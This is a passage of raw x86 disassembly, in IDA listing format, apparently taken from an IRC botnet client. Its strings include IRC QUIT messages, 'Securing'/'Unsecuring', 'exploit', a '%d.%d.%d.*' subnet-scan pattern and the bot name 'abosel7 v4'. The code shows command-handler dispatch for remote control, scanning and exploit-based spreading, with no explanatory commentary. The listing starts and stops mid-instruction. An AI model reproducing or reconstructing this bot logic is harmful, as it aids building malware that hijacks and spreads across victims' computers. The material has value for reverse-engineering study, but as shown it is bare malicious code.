bl setz al cmp esi, ebx mov [ebp+var_36B8], eax jz short loc_403C21 lea eax, [ebp+var_37D0] push esi push eax call sub_41C266 pop ecx pop ecx jmp short loc_403C4C ; --------------------------------------------------------------------------- loc_403C21: ; CODE XREF: sub_401ACD+2141j lea eax, [ebp+var_49F4] push 104h push eax nop call near ptr 26A0000h push ebx push ebx lea eax, [ebp+var_4C8] push ebx push eax lea eax, [ebp+var_49F4] push eax call sub_41C3B1 add esp, 14h loc_403C4C: ; CODE XREF: sub_401ACD+2152j lea eax, [ebp+var_37D0] push eax call sub_41B9C0 cmp [ebp+eax+var_37D1], 5Ch pop ecx jnz short loc_403C77 lea eax, [ebp+var_37D0] push eax call sub_41B9C0 pop ecx mov [ebp+eax+var_37D1], bl loc_403C77: ; CODE XREF: sub_401ACD+2194j push [ebp+var_88] mov esi, [ebp+arg_4] lea eax, [ebp+var_3A58] mov [ebp+var_3A5C], esi push 80h push eax call sub_41C360 mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_36BC], eax lea eax, [ebp+var_37D0] mov [ebp+var_36C0], edi push eax push [ebp+var_36CC] push esi call sub_40AA06 pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42C18C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 3 push eax call sub_40B3BA add esp, 20h mov [ebp+var_36C4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3A5C] push ebx push eax push offset sub_40FAD6 push ebx push ebx call near ptr 26A06F9h nop mov ecx, [ebp+var_36C4] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_403D2B loc_403D19: ; CODE XREF: sub_401ACD+225Cj cmp [ebp+var_36B0], ebx jnz short loc_403D46 push 32h nop call near ptr 26A068Bh jmp short loc_403D19 ; --------------------------------------------------------------------------- loc_403D2B: ; CODE XREF: sub_401ACD+224Aj nop call near ptr 26B0669h push eax push offset unk_42C150 loc_403D37: ; CODE XREF: sub_401ACD+23BFj ; sub_401ACD+4BDCj ... lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch loc_403D46: ; CODE XREF: sub_401ACD+2252j ; sub_401ACD+23A3j ... cmp [ebp+var_8], ebx jnz loc_4082DE push ebx push edi jmp loc_4071A3 ; --------------------------------------------------------------------------- loc_403D56: ; CODE XREF: sub_401ACD+1AB1j ; sub_401ACD+1AC6j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403D75 push edi call sub_41C159 test eax, eax pop ecx jz short loc_403D75 push edi call sub_41C159 pop ecx jmp short loc_403D7A ; --------------------------------------------------------------------------- loc_403D75: ; CODE XREF: sub_401ACD+2292j ; sub_401ACD+229Dj mov eax, dword_429080 loc_403D7A: ; CODE XREF: sub_401ACD+22A6j mov [ebp+var_1828], eax mov eax, [ebp+esi+var_88] cmp eax, ebx jnz short loc_403D91 lea eax, [ebp+var_C4] loc_403D91: ; CODE XREF: sub_401ACD+22BCj push eax lea eax, [ebp+var_1968] push 40h push eax call sub_41C360 mov esi, [ebp+esi+var_84] add esp, 0Ch cmp esi, ebx jnz short loc_403DB3 mov esi, offset byte_43DB88 loc_403DB3: ; CODE XREF: sub_401ACD+22DFj push esi lea eax, [ebp+var_1928] push 100h push eax call sub_41C360 add esp, 0Ch lea eax, [ebp+var_19E8] push [ebp+var_88] push 80h push eax call sub_41C360 mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_1814], eax lea eax, [ebp+var_1968] push eax mov [ebp+var_19EC], esi push [ebp+var_1828] mov [ebp+var_1818], edi push esi call sub_40AA06 pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42C114 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 9 push eax call sub_40B3BA add esp, 20h mov [ebp+var_1824], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_19EC] push ebx push eax push offset word_41144E push ebx push ebx nop call near ptr 26A06F9h mov ecx, [ebp+var_1824] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_403E80 loc_403E6A: ; CODE XREF: sub_401ACD+23B1j cmp [ebp+var_1810], ebx jnz loc_403D46 push 32h nop call near ptr 26A068Bh jmp short loc_403E6A ; --------------------------------------------------------------------------- loc_403E80: ; CODE XREF: sub_401ACD+239Bj nop call near ptr 26B0669h push eax push offset unk_42C0D8 jmp loc_403D37 ; --------------------------------------------------------------------------- loc_403E91: ; CODE XREF: sub_401ACD+1A87j ; sub_401ACD+1A9Cj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_403EA4 push esi call sub_41C159 jmp short loc_403EAB ; --------------------------------------------------------------------------- loc_403EA4: ; CODE XREF: sub_401ACD+23CDj push 0Bh call sub_40B621 loc_403EAB: ; CODE XREF: sub_401ACD+23D5j cmp eax, ebx pop ecx jz loc_409644 push eax push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BD1A jmp loc_404376 ; --------------------------------------------------------------------------- loc_403ECB: ; CODE XREF: sub_401ACD+1A5Dj ; sub_401ACD+1A72j mov eax, dword_4CB8F0 cmp eax, ebx jz short loc_403EE8 call eax test eax, eax jz short loc_403EE1 push offset unk_42C0B4 jmp short loc_403EED ; --------------------------------------------------------------------------- loc_403EE1: ; CODE XREF: sub_401ACD+240Bj push offset unk_42C088 jmp short loc_403EED ; --------------------------------------------------------------------------- loc_403EE8: ; CODE XREF: sub_401ACD+2405j push offset unk_42C05C loc_403EED: ; CODE XREF: sub_401ACD+2412j ; sub_401ACD+2419j ... lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 jmp loc_406BFB ; --------------------------------------------------------------------------- loc_403F03: ; CODE XREF: sub_401ACD+1A33j ; sub_401ACD+1A48j call sub_40A928 test eax, eax jz short loc_403F13 push offset unk_42C038 jmp short loc_403EED ; --------------------------------------------------------------------------- loc_403F13: ; CODE XREF: sub_401ACD+243Dj push offset unk_42C00C jmp short loc_403EED ; --------------------------------------------------------------------------- loc_403F1A: ; CODE XREF: sub_401ACD+1A09j ; sub_401ACD+1A1Ej cmp [ebp+var_8], ebx jnz short loc_403F39 push ebx push [ebp+var_4] push offset dword_42BFF4 push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_403F39: ; CODE XREF: sub_401ACD+2450j push ebx push [ebp+var_4] call sub_418723 push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 push offset unk_42BFD8 jmp loc_40423F ; --------------------------------------------------------------------------- loc_403F5B: ; CODE XREF: sub_401ACD+18A0j ; sub_401ACD+18B5j push 0Ah call sub_40B602 test eax, eax pop ecx jle short loc_403F6E push offset unk_42BFAC jmp short loc_403F8F ; --------------------------------------------------------------------------- loc_403F6E: ; CODE XREF: sub_401ACD+2498j push [ebp+var_88] push [ebp+arg_4] call sub_41A1B1 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_403F8A push offset unk_42BF84 jmp short loc_403F8F ; --------------------------------------------------------------------------- loc_403F8A: ; CODE XREF: sub_401ACD+24B4j push offset unk_42BF64 loc_403F8F: ; CODE XREF: sub_401ACD+249Fj ; sub_401ACD+24BBj ... lea eax, [ebp+var_2C4] push eax call sub_41C266 pop ecx pop ecx loc_403F9D: ; CODE XREF: sub_401ACD+5781j cmp [ebp+var_8], ebx jnz short loc_403FBE push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_403FB6: ; CODE XREF: sub_401ACD+6DA8j call sub_409869 add esp, 14h loc_403FBE: ; CODE XREF: sub_401ACD+24D3j ; sub_401ACD+26B0j ... lea eax, [ebp+var_2C4] push eax call sub_415D38 jmp loc_4097D1 ; --------------------------------------------------------------------------- loc_403FCF: ; CODE XREF: sub_401ACD+1876j ; sub_401ACD+188Bj push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40A5C5 jmp loc_404260 ; --------------------------------------------------------------------------- loc_403FE8: ; CODE XREF: sub_401ACD+184Cj ; sub_401ACD+1861j push [ebp+esi+var_8C] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_416FCF jmp loc_404260 ; --------------------------------------------------------------------------- loc_404005: ; CODE XREF: sub_401ACD+1822j ; sub_401ACD+1837j or edi, 0FFFFFFFFh call near ptr 26C0589h nop xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_40402E push esi call sub_41C159 pop ecx mov edi, eax loc_40402E: ; CODE XREF: sub_401ACD+2556j mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_404047 cmp edi, 0FFFFFFFFh jnz loc_409644 loc_404047: ; CODE XREF: sub_401ACD+256Fj push ebx call sub_41ADD8 pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BF4C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 lea eax, [ebp+var_2C4] push eax call sub_415D38 loc_404085: ; CODE XREF: sub_401ACD+51BCj add esp, 24h jmp loc_409644 ; --------------------------------------------------------------------------- loc_40408D: ; CODE XREF: sub_401ACD+17F8j ; sub_401ACD+180Dj push 27h call sub_40B602 test eax, eax pop ecx jle short loc_4040BE cmp [ebp+var_8], ebx jnz loc_401F75 push ebx push [ebp+var_4] push offset unk_42BF2C loc_4040AB: ; CODE XREF: sub_401ACD+4F88j push [ebp+var_88] push [ebp+arg_4] call sub_409869 jmp loc_408C05 ; --------------------------------------------------------------------------- loc_4040BE: ; CODE XREF: sub_401ACD+25CAj push [ebp+var_88] lea eax, [ebp+var_BC4] push 80h push eax call sub_41C360 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_BC8], eax mov eax, [ebp+var_4] mov [ebp+var_B3C], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_B38], eax mov [ebp+var_B40], ebx jz short loc_40411F push esi push offset aFull ; "full" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40411F mov [ebp+var_B40], 1 loc_40411F: ; CODE XREF: sub_401ACD+2635j ; sub_401ACD+2646j lea eax, [ebp+var_2C4] push offset dword_42BF08 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 27h push eax call sub_40B3BA add esp, 14h mov [ebp+var_B44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_BC8] push ebx push eax push offset sub_419E38 push ebx push ebx call near ptr 26A06F9h nop mov ecx, [ebp+var_B44] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40418D loc_404177: ; CODE XREF: sub_401ACD+26BEj cmp [ebp+var_B34], ebx jnz loc_403FBE push 32h call near ptr 26A068Bh nop jmp short loc_404177 ; --------------------------------------------------------------------------- loc_40418D: ; CODE XREF: sub_401ACD+26A8j nop call near ptr 26B0669h push eax lea eax, [ebp+var_2C4] push offset unk_42BECC push eax call sub_41C266 add esp, 0Ch jmp loc_403FBE ; --------------------------------------------------------------------------- loc_4041AD: ; CODE XREF: sub_401ACD+17CEj ; sub_401ACD+17E3j cmp [ebp+var_8], ebx jnz short loc_4041CC push ebx push [ebp+var_4] push offset unk_42BEB4 push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_4041CC: ; CODE XREF: sub_401ACD+26E3j push [ebp+arg_4] call dword_4CBA6C call dword_4CB92C call sub_4188A6 push ebx call near ptr 77E75CB5h nop loc_4041E7: ; CODE XREF: sub_401ACD+17A4j ; sub_401ACD+17B9j push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push eax call sub_41AF8F pop ecx pop ecx push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 push offset unk_42BE9C jmp short loc_40423F ; --------------------------------------------------------------------------- loc_404212: ; CODE XREF: sub_401ACD+177Aj ; sub_401ACD+178Fj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41B243 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 push offset unk_42BE84 loc_40423F: ; CODE XREF: sub_401ACD+2489j ; sub_401ACD+2743j call sub_415D38 add esp, 18h jmp loc_409644 ; --------------------------------------------------------------------------- loc_40424C: ; CODE XREF: sub_401ACD+1750j ; sub_401ACD+1765j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415DD8 loc_404260: ; CODE XREF: sub_401ACD+3C8j ; sub_401ACD+2516j ... add esp, 10h jmp loc_401F75 ; --------------------------------------------------------------------------- loc_404268: ; CODE XREF: sub_401ACD+1726j ; sub_401ACD+173Bj cmp [ebp+var_C], ebx mov [ebp+var_1598], bl jz short loc_4042A7 mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4042A7 push esi push [ebp+var_C] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz short loc_4042A7 push eax push offset aS_1 ; "%s" lea eax, [ebp+var_1598] push 80h push eax call sub_41C360 add esp, 10h loc_4042A7: ; CODE XREF: sub_401ACD+27A4j ; sub_401ACD+27AFj ... push [ebp+var_88] lea eax, [ebp+var_1618] push 80h push eax call sub_41C360 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_161C], eax mov eax, [ebp+var_4] mov [ebp+var_1514], eax mov eax, [ebp+var_8] mov [ebp+var_1510], eax lea eax, [ebp+var_2C4] push offset dword_42BE6C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 25h push eax call sub_40B3BA add esp, 14h mov [ebp+var_1518], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_161C] push ebx push eax push offset byte_415E4B push ebx push ebx nop call near ptr 26A06F9h mov ecx, [ebp+var_1518] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40434A loc_404334: ; CODE XREF: sub_401ACD+287Bj cmp [ebp+var_150C], ebx jnz loc_401F75 push 32h nop call near ptr 26A068Bh jmp short loc_404334 ; --------------------------------------------------------------------------- loc_40434A: ; CODE XREF: sub_401ACD+2865j nop call near ptr 26B0669h push eax push offset unk_42BE34 jmp loc_4097CB ; --------------------------------------------------------------------------- loc_40435B: ; CODE XREF: sub_401ACD+16FCj ; sub_401ACD+1711j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415CC0 push offset unk_42BE1C call sub_415D38 loc_404376: ; CODE XREF: sub_401ACD+23F9j add esp, 10h jmp loc_409644 ; --------------------------------------------------------------------------- loc_40437E: ; CODE XREF: sub_401ACD+16D2j ; sub_401ACD+16E7j push [ebp+var_88] lea eax, [ebp+var_C5C] push 80h push eax call sub_41C360 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_C60], eax mov eax, [ebp+var_4] mov [ebp+var_BD4], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_BD0], eax jz short loc_4043D8 push offset dword_42BE18 push esi call sub_41CA50 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_BD8], eax jmp short loc_4043DE ; --------------------------------------------------------------------------- loc_4043D8: ; CODE XREF: sub_401ACD+28EFj mov [ebp+var_BD8], ebx loc_4043DE: ; CODE XREF: sub_401ACD+2909j lea eax, [ebp+var_2C4] push offset dword_42BDF8 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 28h push eax call sub_40B3BA add esp, 14h mov [ebp+var_BDC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C60] push ebx push eax push offset byte_40B425 push ebx push ebx nop call near ptr 26A06F9h mov ecx, [ebp+var_BDC] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40444C loc_404436: ; CODE XREF: sub_401ACD+297Dj cmp [ebp+var_BCC], ebx jnz loc_406C1F push 32h call near ptr 26A068Bh nop jmp short loc_404436 ; --------------------------------------------------------------------------- loc_40444C: ; CODE XREF: sub_401ACD+2967j nop call near ptr 26B0669h push eax push offset unk_42BDBC jmp loc_409091 ; --------------------------------------------------------------------------- loc_40445D: ; CODE XREF: sub_401ACD+1656j ; sub_401ACD+166Bj push offset aDarksf ; "Darksf" push offset unk_42BDA4 loc_404467: ; CODE XREF: sub_401ACD+29D9j lea eax, [ebp+var_2C4] push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 20h jmp loc_406C1F ; --------------------------------------------------------------------------- loc_404494: ; CODE XREF: sub_401ACD+162Cj ; sub_401ACD+1641j push dword_4CB714 call sub_41ADD8 pop ecx push eax push offset unk_42BD78 jmp short loc_404467 ; --------------------------------------------------------------------------- loc_4044A8: ; CODE XREF: sub_401ACD+1602j ; sub_401ACD+1617j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4044DA cmp [ebp+var_C], ebx jz short loc_4044E9 push esi push [ebp+var_C] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz short loc_4044E9 push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_409823 add esp, 0Ch jmp short loc_4044E9 ; --------------------------------------------------------------------------- loc_4044DA: ; CODE XREF: sub_401ACD+29E4j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_409823 pop ecx pop ecx loc_4044E9: ; CODE XREF: sub_401ACD+29E9j ; sub_401ACD+29F8j ... push 0FFFFFFFEh jmp loc_401F77 ; --------------------------------------------------------------------------- loc_4044F0: ; CODE XREF: sub_401ACD+15D8j ; sub_401ACD+15EDj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_409823 push offset unk_42BD28 call sub_415D38 add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_401F78 ; --------------------------------------------------------------------------- loc_404512: ; CODE XREF: sub_401ACD+15AEj ; sub_401ACD+15C3j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409823 push offset unk_42BCF8 call sub_415D38 add esp, 0Ch jmp loc_4095AD ; --------------------------------------------------------------------------- loc_404531: ; CODE XREF: sub_401ACD+1584j ; sub_401ACD+1599j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BA9E jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_404547: ; CODE XREF: sub_401ACD+155Aj ; sub_401ACD+156Fj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BA49 jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_40455D: ; CODE XREF: sub_401ACD+1530j ; sub_401ACD+1545j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B9DD jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_404573: ; CODE XREF: sub_401ACD+1506j ; sub_401ACD+151Bj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B90E jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_404589: ; CODE XREF: sub_401ACD+1461j ; sub_401ACD+1476j push [ebp+esi+var_8C] push 27h push offset dword_42BCE8 push offset dword_42BCD8 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_4045A1: ; CODE XREF: sub_401ACD+1437j ; sub_401ACD+144Cj push [ebp+esi+var_8C] push 24h push offset dword_42BCCC push offset dword_42BCBC jmp loc_408D08 ; --------------------------------------------------------------------------- loc_4045B9: ; CODE XREF: sub_401ACD+1050j ; sub_401ACD+1065j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_4045D8 push edi call sub_41C159 test eax, eax pop ecx jz short loc_4045D8 push edi call sub_41C159 pop ecx jmp short loc_4045DD ; --------------------------------------------------------------------------- loc_4045D8: ; CODE XREF: sub_401ACD+2AF5j ; sub_401ACD+2B00j mov eax, dword_429074 loc_4045DD: ; CODE XREF: sub_401ACD+2B09j mov esi, [ebp+esi+var_88] mov [ebp+var_590], eax cmp esi, ebx jz short loc_404602 push esi loc_4045EF: ; CODE XREF: sub_401ACD+2B44j lea eax, [ebp+var_5A0] push 10h push eax call sub_41C360 add esp, 0Ch jmp short loc_404619 ; --------------------------------------------------------------------------- loc_404602: ; CODE XREF: sub_401ACD+2B1Fj cmp [ebp+var_8FF], bl jz short loc_404613 lea eax, [ebp+var_C4] push eax jmp short loc_4045EF ; --------------------------------------------------------------------------- loc_404613: ; CODE XREF: sub_401ACD+2B3Bj mov [ebp+var_5A0], bl loc_404619: ; CODE XREF: sub_401ACD+2B33j mov eax, [ebp+var_4] push [ebp+var_88] mov esi, [ebp+arg_4] mov [ebp+var_584], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_580], eax lea eax, [ebp+var_620] push eax mov [ebp+var_624], esi call sub_41C360 add esp, 0Ch push [ebp+var_590] push esi call sub_40AA06 pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42BC94 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 19h push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_58C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_624] push ebx push eax push offset word_411BCE push ebx push ebx call near ptr 26A06F9h nop mov ecx, [ebp+var_58C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_4046CA loc_4046B4: ; CODE XREF: sub_401ACD+2BFBj cmp [ebp+var_57C], ebx jnz loc_401F75 push 32h nop call near ptr 26A068Bh jmp short loc_4046B4 ; --------------------------------------------------------------------------- loc_4046CA: ; CODE XREF: sub_401ACD+2BE5j nop call near ptr 26B0669h push eax push offset dword_42BC58 jmp loc_4097CB ; --------------------------------------------------------------------------- loc_4046DB: ; CODE XREF: sub_401ACD+FFDj ; sub_401ACD+1012j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4046FB push esi call sub_41C159 test ax, ax pop ecx jz short loc_4046FB push esi call sub_41C159 pop ecx jmp short loc_404701 ; --------------------------------------------------------------------------- loc_4046FB: ; CODE XREF: sub_401ACD+2C17j ; sub_401ACD+2C23j mov ax, word_429084 loc_404701: ; CODE XREF: sub_401ACD+2C2Cj push [ebp+var_88] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] mov [ebp+var_97C], ax mov eax, [ebp+var_8] push 80h mov [ebp+var_96C], eax lea eax, [ebp+var_9FC] push eax mov [ebp+var_A00], esi mov [ebp+var_970], edi call sub_41C360 movzx eax, [ebp+var_97C] add esp, 0Ch push eax push esi call sub_40AA06 pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BC2C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push edi push eax push [ebp+var_88] push esi call sub_409869 push ebx lea eax, [ebp+var_2C4] push 6 push eax call sub_40B3BA add esp, 30h mov [ebp+var_978], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A00] push ebx push eax push offset dword_40EF1C push ebx push ebx call near ptr 26A06F9h nop mov ecx, [ebp+var_978] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_4047D0 loc_4047BA: ; CODE XREF: sub_401ACD+2D01j cmp [ebp+var_968], ebx jnz loc_401F75 push 32h nop call near ptr 26A068Bh jmp short loc_4047BA ; --------------------------------------------------------------------------- loc_4047D0: ; CODE XREF: sub_401ACD+2CEBj nop call near ptr 26B0669h push eax push offset unk_42BBEC jmp loc_4097CB ; --------------------------------------------------------------------------- loc_4047E1: ; CODE XREF: sub_401ACD+FA9j ; sub_401ACD+FBEj ... push edi push offset aSecure ; "secure" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_404809 push edi push offset aSec ; "sec" call sub_41CA50 pop ecx mov [ebp+var_AA8], ebx test eax, eax pop ecx jnz short loc_404813 loc_404809: ; CODE XREF: sub_401ACD+2D23j mov [ebp+var_AA8], 1 loc_404813: ; CODE XREF: sub_401ACD+2D3Aj push [ebp+var_88] lea eax, [ebp+var_B2C] push 80h push eax call sub_41C360 mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_AA8], ebx mov [ebp+var_B30], eax mov eax, [ebp+var_4] mov [ebp+var_AA4], eax mov eax, [ebp+var_8] mov [ebp+var_AA0], eax mov eax, offset aSecuring ; "Securing" jnz short loc_40485A mov eax, offset aUnsecuring ; "Unsecuring" loc_40485A: ; CODE XREF: sub_401ACD+2D86j push eax push offset dword_42BBB8 lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 push ebx lea eax, [ebp+var_2C4] push 22h push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_AAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_B30] push ebx push eax push offset sub_41A366 push ebx push ebx call near ptr 26A06F9h nop mov ecx, [ebp+var_AAC] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_4048CE loc_4048B8: ; CODE XREF: sub_401ACD+2DFFj cmp [ebp+var_A9C], ebx jnz loc_4082DE push 32h nop call near ptr 26A068Bh jmp short loc_4048B8 ; --------------------------------------------------------------------------- loc_4048CE: ; CODE XREF: sub_401ACD+2DE9j call near ptr 26B0669h nop push eax push offset dword_42BB7C jmp loc_4082CF ; --------------------------------------------------------------------------- loc_4048DF: ; CODE XREF: sub_401ACD+F7Fj ; sub_401ACD+F94j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41ABFB loc_4048F0: ; CODE XREF: sub_401ACD+2A75j ; sub_401ACD+2A8Bj ... add esp, 0Ch jmp loc_409644 ; --------------------------------------------------------------------------- loc_4048F8: ; CODE XREF: sub_401ACD+F55j ; sub_401ACD+F6Aj push offset unk_42BB2C jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_404902: ; CODE XREF: sub_401ACD+F2Bj ; sub_401ACD+F40j push offset aAbosel7V4 ; "abosel7 v4" push offset dword_42BB1C jmp loc_406BEF ; --------------------------------------------------------------------------- loc_404911: ; CODE XREF: sub_401ACD+F01j ; sub_401ACD+F16j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_404971 push esi call sub_41C159 cmp eax, ebx pop ecx jl short loc_404966 cmp eax, 3 jge short loc_404966 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_40495B lea eax, [esi+1] push eax lea eax, [ebp+var_2C4] push offset unk_42CD50 push eax call sub_41C266 add esp, 0Ch mov [esi], bl jmp loc_4081AD ; --------------------------------------------------------------------------- loc_40495B: ; CODE XREF: sub_401ACD+2E6Dj push eax push offset unk_42BAF0 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_404966: ; CODE XREF: sub_401ACD+2E58j ; sub_401ACD+2E5Dj push eax push offset unk_42BAC4 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_404971: ; CODE XREF: sub_401ACD+2E4Dj mov edi, [ebp+arg_18] xor esi, esi loc_404976: ; CODE XREF: sub_401ACD+2EC5j push [ebp+var_90] push edi call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_404999 inc esi add edi, 80h cmp esi, 3 jl short loc_404976 jmp loc_4081AD ; --------------------------------------------------------------------------- loc_404999: ; CODE XREF: sub_401ACD+2EB9j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax push offset unk_42CD50 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_4049B3: ; CODE XREF: sub_401ACD+ED7j ; sub_401ACD+EECj push [ebp+var_8C] push offset dword_42CCC8 call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403446 call sub_40B583 push ebx nop call near ptr 77E75CB5h loc_4049D9: ; CODE XREF: sub_401ACD+19B1j push offset aGet ; "get" push edi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404A67 cmp dword_4CF180, ebx jz short loc_404A01 push offset dword_4CEB60 loc_4049F7: ; CODE XREF: sub_401ACD+2F98j push offset unk_42BA88 jmp loc_404A97 ; --------------------------------------------------------------------------- loc_404A01: ; CODE XREF: sub_401ACD+2F23j push 10h pop eax mov [ebp+var_2CC], eax push eax lea eax, [ebp+var_2E8] push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2E8] push eax push [ebp+arg_4] nop call near ptr 71AB157Eh movzx eax, [ebp+var_2E2] push eax movzx eax, [ebp+var_2E3] push eax movzx eax, [ebp+var_2E4] push eax lea eax, [ebp+var_E24] push offset aD_D_D_ ; "%d.%d.%d.*" push eax call sub_41C266 add esp, 14h lea eax, [ebp+var_E24] push eax jmp short loc_4049F7 ; --------------------------------------------------------------------------- loc_404A67: ; CODE XREF: sub_401ACD+2F1Bj push edi call dword_4CBA14 cmp eax, 0FFFFFFFFh push edi jnz short loc_404A7B push offset unk_42BA48 jmp short loc_404A97 ; --------------------------------------------------------------------------- loc_404A7B: ; CODE XREF: sub_401ACD+2FA5j push offset dword_4CEB60 call sub_41C890 pop ecx mov dword_4CF180, 1 pop ecx push edi push offset unk_42BA1C loc_404A97: ; CODE XREF: sub_401ACD+2F2Fj ; sub_401ACD+2FACj lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch jmp loc_40349D ; --------------------------------------------------------------------------- loc_404AAB: ; CODE XREF: sub_401ACD+199Cj push [ebp+arg_8] push offset aExploit ; "exploit" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_404BB1 mov eax, [ebp+var_4] mov esi, 80h mov [ebp+var_13E8], eax mov eax, [ebp+var_8] mov [ebp+var_13E4], eax mov eax, [ebp+arg_4] mov [ebp+var_13F8], eax push offset aF ; "#f" lea eax, [ebp+var_1478] push esi push eax mov [ebp+var_13F0], 1 call sub_41C360 add esp, 0Ch lea 